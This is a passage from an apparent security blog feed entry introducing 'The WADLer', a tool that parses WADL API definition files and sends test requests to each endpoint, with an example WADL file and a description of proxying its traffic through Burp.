&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application.wadl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resources&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/application&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although there is existing tooling for automatically testing APIs from WSDL and OpenAPI files, I was unable to find anything existing to parse and test APIs from WADLs.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;
&lt;p&gt;On a recent external engagement I discovered an API with an exposed &lt;code&gt;application.wadl&lt;/code&gt; file while digging through &lt;a href=&#34;https://github.com/projectdiscovery/nuclei&#34; target=&#34;_blank&#34;&gt;Nuclei&lt;/a&gt; results. The file contained definitions for over 150 API endpoints, more than I could easily test by hand.&lt;/p&gt;
&lt;p&gt;Web Application Description Language (WADL) files contain XML definitions for REST APIs. They&amp;rsquo;re similar to OpenAPI JSON files, WSDL files, and other API definition files.&lt;/p&gt;
&lt;p&gt;An example WADL file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;application&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;xmlns=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://wadl.dev.java.net/2009/02&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resources&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;base=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:8000/&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;role&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;users/{id}&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PUT&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;template&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;int&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;string&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DELETE&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;param&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;required=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;style=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;int&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;resource&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;path=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application.wadl&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;method&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/request&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;response&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;status=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;200&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;representation&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mediaType=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;application/json&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/response&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/method&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resource&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/resources&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/application&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although there is existing tooling for automatically testing APIs from WSDL and OpenAPI files, I was unable to find anything existing to parse and test APIs from WADLs.&lt;/p&gt;
&lt;h1 id=&#34;the-wadler&#34;&gt;The WADLer&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/SecurityRiskAdvisors/WADLer&#34; target=&#34;_blank&#34;&gt;The WADLer&lt;/a&gt; was created to fill this gap and allow for the quick and easy testing of API endpoints from WADL files. It parses a remote or local WADL file, identifies all endpoints, and sends a test request with appropriate content. This can be helpful in quickly identifying interesting API endpoints and endpoints lacking authentication requirements.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;waddler.png&#34;  alt=&#34;WADLer CLI Use&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Testing endpoints from a local WADL file while proxying to Burp &amp; saving a JSON report.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The WADLer supports the use of web proxies and can generate a JSON report outlining all requests made and their results.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;waddler-burp.png&#34;  alt=&#34;WADLer traffic in BurpSuite&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Observing proxied WADLer traffic in BurpSuite.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Example JSON report:&lt;/p&gt;
